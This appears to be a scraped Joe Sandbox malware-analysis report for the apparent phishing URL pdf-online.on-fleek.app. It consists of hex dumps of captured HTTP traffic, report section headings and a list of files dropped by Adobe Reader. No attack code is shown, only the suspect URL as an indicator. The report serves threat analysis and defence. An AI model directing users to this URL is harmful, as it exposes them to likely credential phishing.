bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m,bafkreiel5lhlirpqoqcibn6h5bve6wb7a5xbtn4mslqox3weqirgkfcpom x-request-id: b016acfd8dada20b4faf90a8a101e57b x-xss-protection: 0
2024-09-27 06:17:58 UTC	357	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 52 58 30 54 34 45 37 53 4f 32 4d 6e 78 54 70 4d 59 66 57 5a 36 44 75 53 67 56 63 25 32 42 42 58 4d 48 61 61 34 25 32 46 30 44 64 31 4f 36 4e 25 32 46 5a 32 51 4b 78 48 66 25 32 42 72 30 46 4e 36 54 46 54 67 52 42 49 72 72 31 39 61 76 41 70 5a 48 45 4e 51 56 72 49 46 59 6b 41 6f 4c 65 4a 35 51 49 71 5a 6e 77 49 69 46 25 32 42 4d 32 67 65 6f 62 5a 70 56 66 53 69 59 79 4e 35 48 42 76 6b 43 77 37 5a 47 6e 5a 4c 35 73 46 66 32 46 62 74 69 77 4b 49 75 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RX0T4E7SO2MnxTpMYfWZ6DuSgVc%2BBXMHaa4%2F0Dd1O6N%2FZ2QKxHf%2Br0FN6TFTgRBIrr19avApZHENQVrIFYkAoLeJ5QIqZnwIiF%2BM2geobZpVfSiYyN5HBvkCw7ZGnZL5sFf2FbtiwKIu"}],"group":"cf-nel","max_a
2024-09-27 06:17:58 UTC	1222	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fb 00 00 00 fb 08 06 00 00 00 ac 72 e2 a6 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 07 74 49 4d 45 07 e8 05 0a 03 1b 35 6c 5d ed bb 00 00 80 00 49 44 41 54 78 da ed bd 77 80 26 c7 59 e7 ff ad ee 7e df 77 f2 cc ee ce e6 9c b4 5a e5 9c 6c d9 96 6d 59 38 cb 11 30 e0 73 38 c0 07 f8 0e 64 0b 87 3b 7e 17 7c 9c 0f 8e e3 38 83 0f 0e 30 9c 8d 09 8e 80 0d c6 d8 18 47 70 94 2c 2b 6b 15 56 9b e3 cc 4e 9e 37 74 d7 f3 fb a3 2b 3c 55 dd fd be ef cc 86 69 99 29 e9 dd 79 df 0e d5 95 3e f5 84 0a 2d b0 34 41 2c d1 73 97 Data Ascii: PNGIHDRrgAMAa cHRMz&u0`:pQ<bKGDtIME5l]IDATxw&Y~wZlmY80s8d;~\|80Gp,+kVN7t+<Ui)y>-4A,s
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 29 60 cf b3 d7 b5 0a 5f 05 50 ed ab 55 87 7f 6c e7 e6 97 0c 56 a2 d5 06 27 0e bd 00 62 02 ea 89 44 4b 4a b4 24 b9 9f 84 d0 a2 f4 23 02 81 88 b1 49 06 7a 40 0a a0 2e a5 b9 d6 ff c4 50 7f 49 22 0c 04 13 45 0b 87 3e 05 ff 87 19 7a b2 43 90 f0 dd ec 02 f1 c4 38 e2 d3 27 83 0d d7 df 72 c9 9e ab ae 5a 79 f8 f0 e1 fb 9f 4e 25 7c 5e 6e 3a 15 e6 72 58 44 b8 90 93 6a 8a 2a 35 03 3f 11 42 62 32 42 ab 85 fa 7b 20 02 9c 9a 3c 83 87 0e ec 47 7f b5 86 20 47 4a c7 52 62 a6 d5 c2 55 bb 77 63 fd d0 20 48 92 62 93 0c 9b 84 00 df 7f f2 49 34 e6 66 d1 5f ab e6 26 51 4a 89 79 29 71 fd de bd 18 aa 54 bc 39 63 c2 78 de b3 d0 e7 79 f3 35 d8 7a 6e 8e 30 a3 02 7a 44 41 88 9c e8 a9 f8 f7 52 85 3c 11 9c 17 ec 04 a2 00 f5 7d 8f 20 fc fa 97 c2 4b 5e 72 e7 6b ef be fb 6e 01 e0 d7 bf fc Data Ascii: )`_PUlV'bDKJ$#Iz@.PI"E>zC8'rZyN%\|^n:rXDj*5?Bb2B{ <G GJRbUwc HbI4f_&QJy)qT9cxy5zn0zDAR<} K^rkn
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 5a 10 93 d4 02 90 44 98 9a 99 c5 d0 e0 30 fa 2b 11 48 c6 e9 b5 06 4c 60 2e 89 71 e8 cc 19 90 ee 3c 14 30 42 39 ea d6 af 1a 45 2c 13 d4 e7 1b a6 63 11 ce ca 6b ab d6 0b 90 81 9e 14 f4 50 69 21 35 79 e7 42 4a 7a ed cc 73 34 17 73 35 96 48 d2 fb 29 66 e9 51 7f 27 1f 79 10 54 af 23 52 c0 0b 21 50 a9 54 2a bb 76 ed 7a fd 5d 77 dd f5 8b d7 5e 7b ed 3a e4 03 6f 47 6e 96 55 fa ae c2 52 c1 4e 5d 9f 25 b2 2a b2 b4 13 6b 98 a3 1a 20 42 ab d5 c2 5c 63 1e 1b 56 8f 42 48 a9 ec 78 e5 bd 27 02 82 00 47 27 27 70 cf 53 4f 60 3e 49 58 93 50 9d 85 24 0c 54 aa 58 39 32 82 e9 99 69 35 11 c7 4d 93 e3 1d 27 0b bd c8 83 5e 3b 02 4d a7 00 64 a1 97 e7 0c 7a 51 02 e8 f5 aa c2 4e d5 aa ff 8a 20 c0 fc b1 23 98 3b 7c 00 b5 5a 0d 41 10 20 0c 43 04 41 80 6a b5 5a d9 bd 7b f7 eb df f1 8e Data Ascii: ZD0+HL`.q<0B9E,ckPi!5yBJzs4s5H)fQ'yT#R!PTvz]w^{:oGnURN]%k B\cVBHx'G''pSO`>IXP$TX92i5M'^;MdzQN #;\|ZA CAjZ{
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 00 7d 56 d2 b7 19 b2 3b 2b e8 45 57 d0 9b ec 7b d0 77 59 a1 a6 5e 58 34 e6 77 f3 cc 18 e2 b9 39 3d 4f de f9 54 2a 95 0c f0 3d 3d 3d bd 57 5d 75 d5 1b 7f f9 97 7f f9 67 b6 6d db b6 1a cb c0 77 0c 65 d9 bc c2 d9 70 b2 b7 5a 1d 7a fd b6 0d b7 0f 55 c3 51 7b 87 6d c0 41 10 60 6c 6e 16 8f 9d 38 86 8b 37 6d c5 86 c1 21 48 99 28 95 d2 3e 2a 10 c0 d6 55 ab b0 77 e3 06 6c 5f bb 06 db d7 ae 41 4f 6f 2f 0e 1e 3b 86 be de 3e 84 41 88 b1 c9 49 ac 5b b5 0a 15 be 1d b5 fa db 53 ab e1 d8 d4 24 4e 4d 4d e2 a2 4d 9b d1 13 e8 1d 71 74 33 d5 af 71 13 f6 b1 7a 03 8a 1c 48 2e fc 36 d8 fa 1a 9d 20 91 4d 14 fb de 6e ef 7b 27 5a 2f 6a a7 9f 61 d1 3a fd 1e c1 4c 26 d2 2b 16 a5 f9 0d 48 11 60 ed 0d 37 a3 77 c5 4a a3 95 a5 cf 74 ff f2 10 45 51 65 74 74 f4 d2 9d 3b 77 86 0f 3e f8 e0 Data Ascii: }V;+EW{wY^X4w9=OT===W]ugmwepZzUQ{mA`ln87m!H(>Uwl_AOo/;>AI[S$NMMMqt3qzH.6 Mn{'Z/ja:L&+H`7wJtEQett;w>
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: bb ef be c7 66 66 66 f2 80 17 c8 2d f1 dc ef cf f8 50 96 37 c2 e4 04 d7 8b 9c 0b bd 1e 9a 0b d2 8b 84 52 25 29 03 bd 76 a6 09 13 97 59 7f 6d cc 5e d6 c8 b5 5a aa 01 04 8c 16 61 a1 b7 bb a6 3a 92 1f ac e3 11 be 7a 2f 00 0a d4 e9 2c f4 a4 b7 be d2 d0 fb 7d 88 29 0b 7b ef 6c a3 81 f1 44 62 cb 6b df 80 1d af 7c 1d aa 83 83 69 be a4 5d c2 db 18 3b 8d 27 ff ea e3 38 fe b9 bf 42 4f 14 a1 bf 9a be ea ca 78 fd f9 73 b8 23 4f e5 83 84 73 02 5e ef e0 26 12 da 91 67 47 15 9c 2b 4d 07 63 cb 5b bf 92 2b 99 9f 73 c6 d8 81 74 55 9c 94 d2 74 00 0b 09 bd bd bd fd d7 5f 7f fd 5b de f3 9e f7 e0 fd ef 7f ff 87 8e 1d 3b 76 ba a0 a1 fd 8b 78 f3 4c 49 25 7b 65 e8 f5 5b ac cd 9e 7a c0 c1 a4 37 75 29 e9 d5 79 41 06 90 62 49 af ef 15 d9 24 ab 1b ed 9a fa a5 97 f4 40 6a e7 9e 9e 99 Data Ascii: fff-P7R%)vYm^Za:z/,}){lDbk\|i];'8BOxs#Os^&gG+Mc[+stUt_[;vxLI%{e[z7u)yAbI$@j
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 7d ef 7b df b2 61 c3 86 85 02 6f 92 71 de 1a ff 39 0e a5 85 dd c2 c0 e6 57 9f 0d f4 da f1 83 7c e8 49 7a c0 95 05 7a c0 48 7a 41 16 f8 84 24 82 5a 0f a2 de 5e 53 66 b2 d5 02 35 9b d0 28 eb 72 8c 25 61 fc 91 87 31 71 df 3d a8 46 91 85 9d cc 2e f7 b9 d0 0b be 5f bd 92 f4 f6 25 96 ac 58 a4 dd 4d 48 cf ee cb f5 6c 39 1a 40 7a 33 9f 5a d3 29 9c 2d f0 79 fb d2 2b 1b fe ad ef 79 cf 7b 16 0a fc 33 ce 86 2f 2d ec d9 90 85 5e 76 82 9e dd 6b fe 9c 6b e8 f9 80 f4 82 a0 4f ef 59 b0 a4 d7 cf 97 12 22 8a 10 56 aa 36 97 ad 26 90 b4 a0 67 f5 11 08 31 49 4c b5 62 f4 5d 7e 0d 92 a1 15 68 c6 b1 89 d7 ac 94 33 d0 c3 81 1e 22 1f 7a 5d 7e a6 33 65 26 97 15 cc 5c 95 77 8a ce 96 3f 34 f0 64 70 e9 e0 ce 3b a7 c0 eb 0f b7 e1 7f 98 25 7c b9 61 e7 d2 9c 1d 6c 0b 3d 41 11 2b dd d6 67 Data Ascii: }{aoq9W\|IzzHzA$Z^Sf5(r%a1q=F._%XMHl9@z3Z)-y+y{3/-^vkkOY"V6&g1ILb]~h3"z]~3e&\w?4dp;%\|al=A+g
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: b5 c1 f5 b1 28 c3 cc 98 3e b6 4c 85 1a 5d 10 42 5b f0 12 01 04 42 29 20 03 89 50 fb 5d d4 64 23 49 84 20 80 79 d9 84 75 3b b0 91 81 b8 85 a4 d5 44 3c 3b 83 f9 13 c7 71 e2 fe fb 80 20 40 50 a9 20 ec ed 45 ff aa d5 58 bd 73 17 36 5d 79 35 36 ec bd 14 83 6b d2 17 89 34 1a 0d 34 ea 75 03 fc bf ff f7 ff 5e fc ea af fe ea 87 14 f0 79 a1 08 f8 d2 80 5f 5e d8 b9 64 d7 0d 0f 4c d2 9b 99 5e 48 ff 0a b7 45 99 a6 29 78 84 ed a0 67 e3 e8 45 d0 b3 a8 8c 4d af a5 9d 56 cf 35 47 ca 96 17 7a e7 1c 63 8a e8 6b 89 69 28 1d a0 37 7f 2c f4 42 04 48 1a 75 c4 f3 f3 a8 0e 0d a7 f7 04 01 aa 23 2b 31 47 a9 bd 9b 24 31 50 eb 45 65 64 45 a6 b9 69 37 a2 1e 43 6f 07 3d 37 79 ec 84 5d 6e c3 a7 d7 6b 7f 89 ef 3c b5 33 f3 dc 8f dd a1 da 96 83 de a6 3b 10 a9 27 4c 0a 42 28 54 fa 44 00 08 Data Ascii: (>L]B[B) P]d#I yu;D<;q @P EXs6]y56k44u^y_^dL^HE)xgEMV5Gzcki(7,BHu#+1G$1PEedEi7Co=7y]nk<3;'LB(TD
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 92 b9 59 3c f4 f1 3f c3 d6 d3 a7 77 bc f8 b6 e7 fd d2 b1 63 c7 c6 3e f5 89 4f dc 07 6d 77 da c7 05 ec 77 29 42 c9 61 07 32 65 a5 61 c8 81 9e ab f7 cc 9b 67 a2 b0 6d 8a 75 1c fc 91 80 d3 11 c0 b9 c2 ed 94 ad ad bb 50 e8 ad 1d 2f 80 74 79 a8 03 bd ba d2 40 4f b9 d0 03 40 45 00 b3 c7 8f 82 ef b5 5e 19 18 44 b4 62 25 e6 0e ed 07 56 0e a3 67 74 35 00 a0 39 33 03 6a c5 66 58 4b 97 81 7a 88 99 c3 2f 1c e0 55 3a 8d b6 a1 ef 09 6c b9 b3 3a 72 a5 37 7f 03 8e 4d b6 60 71 ea 4e 4f d7 4d e0 db f8 a9 da 96 7a e9 95 34 d7 9f 40 bd 46 3b 95 e4 42 39 e8 2c e0 ba 33 b5 c3 7e fa 3b 5f 76 23 1c 13 c3 74 0e 6c 28 cf c4 4b e9 de 41 32 08 20 65 82 83 5f fa 3c 56 9f 19 bb e2 8e 9b 6f fa d9 27 9f 7c ea 57 ef bb f7 9e 83 48 79 f2 a5 7b 9e 93 6e 49 a4 7b 69 61 37 ea 14 2c d8 99 20 Data Ascii: Y<?wc>Omww)Ba2eagmuP/ty@O@E^Db%Vgt593jfXKz/U:l:r7M`qNOMz4@F;B9,3~;_v#tl(KA2 e_<Vo'\|WHy{nI{ia7,
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 45 a5 dd 31 a9 0c d0 6e fb 15 8a 30 b3 62 4e 64 df d1 67 86 3f 75 1d f0 09 45 2c 56 0d b2 5d 70 63 a5 39 04 21 54 52 d7 8c 99 9b d1 18 b7 2e 6c 9c c6 dd 6b d2 a1 f3 6c bd 27 00 05 1c 76 2b d1 b5 c9 20 35 f4 22 7d 76 28 d2 95 78 d1 fc f4 a5 b7 6c df 72 e5 b7 be f9 cd c3 48 a5 ba b6 d9 b5 33 27 cf 33 7f c1 42 e9 61 b7 0d 02 dd 41 0f eb ed 55 07 4c 3c 0b 81 9e b8 da a9 e3 ce a8 f7 fa 18 9f 57 6f 52 71 5e a1 d7 56 74 05 40 fd c8 21 24 f5 ba d9 69 56 84 21 56 5f 7d 2d 84 7a 1b 2a 25 09 9a 53 53 e9 6c 34 9d 2e e3 46 a0 0c f4 5c 0a e7 42 0f 3b cc e6 77 80 b6 ce d2 7b 88 e5 df 5c aa f7 c7 22 bb d9 24 91 40 a0 d4 65 03 37 d4 72 55 ed ca 14 d6 03 0f 90 79 55 77 08 eb 88 b5 0e 53 2d 24 74 ea ec d2 68 a3 9f 09 6b 93 a7 ff 07 b6 23 10 64 77 3c 02 d2 4d 34 d4 73 0c ec Data Ascii: E1n0bNdg?uE,V]pc9!TR.lkl'v+ 5"}v(xlrH3'3BaAUL<WoRq^Vt@!$iV!V_}-z*%SSl4.F\B;w{\"$@e7rUyUwS-$thk#dw<M4s

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://pdf-online.on-fleek.app/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ce9012a1-4a23-4914-95fd-952e121cbc19.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240927061918Z-160.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5336

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Windows Analysis Report
https://pdf-online.on-fleek.app/

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:17:57 UTC	634	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pdf-online.on-fleek.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:17:58 UTC	749	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Fri, 27 Sep 2024 06:17:58 GMT Date: Fri, 27 Sep 2024 06:17:58 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-27 06:17:58 UTC	641	IN	Data Raw: 35 39 61 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 59a/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-09-27 06:17:58 UTC	800	IN	Data Raw: 41 41 43 51 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 64 76 62 32 64 73 5a 53 35 6a 62 32 30 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 7a 49 69 4c 43 4a 6c 65 48 42 70 63 6e 6b 69 4f 6a 45 33 4e 44 49 7a 4e 44 49 7a 4f 54 6b 73 49 6d 6c 7a 55 33 56 69 5a 47 39 74 59 57 6c 75 49 6a 70 30 63 6e 56 6c 4c 43 4a 70 63 31 52 6f 61 58 4a 6b 55 47 46 79 64 48 6b 69 4f 6e 52 79 64 57 56 39 27 3b 69 66 28 76 26 26 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 29 7b 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e Data Ascii: AACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.
2024-09-27 06:17:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:17:59 UTC	352	OUT	GET /w.png HTTP/1.1 Host: pdf-online.on-fleek.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:17:59 UTC	1159	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:17:59 GMT Content-Type: image/png Content-Length: 36145 Connection: close CF-Ray: 8c995fb14bee8c71-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 87735 Cache-Control: max-age=60, stale-while-revalidate=3600 ETag: "bafkreiel5lhlirpqoqcibn6h5bve6wb7a5xbtn4mslqox3weqirgkfcpom" Strict-Transport-Security: max-age=31536000; includeSubDomains access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With access-control-allow-methods: GET,HEAD,OPTIONS access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output access-control-max-age: 86400 content-security-policy: upgrade-insecure-requests referrer-policy: strict-origin-when-cross-origin x-cache-status: HIT x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/w.png/ x-ipfs-roots: bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m,bafkreiel5lhlirpqoqcibn6h5bve6wb7a5xbtn4mslqox3weqirgkfcpom x-request-id: b016acfd8dada20b4faf90a8a101e57b x-xss-protection: 0
2024-09-27 06:17:59 UTC	361	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6e 58 44 32 41 4d 30 56 64 64 53 50 6b 36 75 4b 41 7a 4e 7a 7a 66 4e 68 76 51 58 25 32 46 41 59 71 4b 50 35 77 58 48 6b 25 32 46 25 32 46 6f 53 4d 61 35 34 54 25 32 42 37 79 63 25 32 46 64 59 41 52 65 74 42 37 55 51 71 76 33 68 7a 75 32 45 4d 57 35 59 4b 53 38 47 78 7a 47 58 35 44 6e 41 77 5a 65 41 59 41 48 44 43 65 45 73 55 6f 7a 6d 6b 55 44 6e 47 6d 76 6d 72 42 5a 73 25 32 46 56 4e 33 41 30 64 54 41 38 6f 44 35 47 63 4e 6e 76 43 75 34 39 63 36 55 25 32 46 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nXD2AM0VddSPk6uKAzNzzfNhvQX%2FAYqKP5wXHk%2F%2FoSMa54T%2B7yc%2FdYARetB7UQqv3hzu2EMW5YKS8GxzGX5DnAwZeAYAHDCeEsUozmkUDnGmvmrBZs%2FVN3A0dTA8oD5GcNnvCu49c6U%2F"}],"group":"cf-nel","m
2024-09-27 06:17:59 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fb 00 00 00 fb 08 06 00 00 00 ac 72 e2 a6 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 07 74 49 4d 45 07 e8 05 0a 03 1b 35 6c 5d ed bb 00 00 80 00 49 44 41 54 78 da ed bd 77 80 26 c7 59 e7 ff ad ee 7e df 77 f2 cc ee ce e6 9c b4 5a e5 9c 6c d9 96 6d 59 38 cb 11 30 e0 73 38 c0 07 f8 0e 64 0b 87 3b 7e 17 7c 9c 0f 8e e3 38 83 0f 0e 30 9c 8d 09 8e 80 0d c6 d8 18 47 70 94 2c 2b 6b 15 56 9b e3 cc 4e 9e 37 74 d7 f3 fb a3 2b 3c 55 dd fd be ef cc 86 69 99 29 e9 dd 79 df 0e d5 95 3e f5 84 0a 2d b0 34 41 2c d1 73 97 Data Ascii: PNGIHDRrgAMAa cHRMz&u0`:pQ<bKGDtIME5l]IDATxw&Y~wZlmY80s8d;~\|80Gp,+kVN7t+<Ui)y>-4A,s
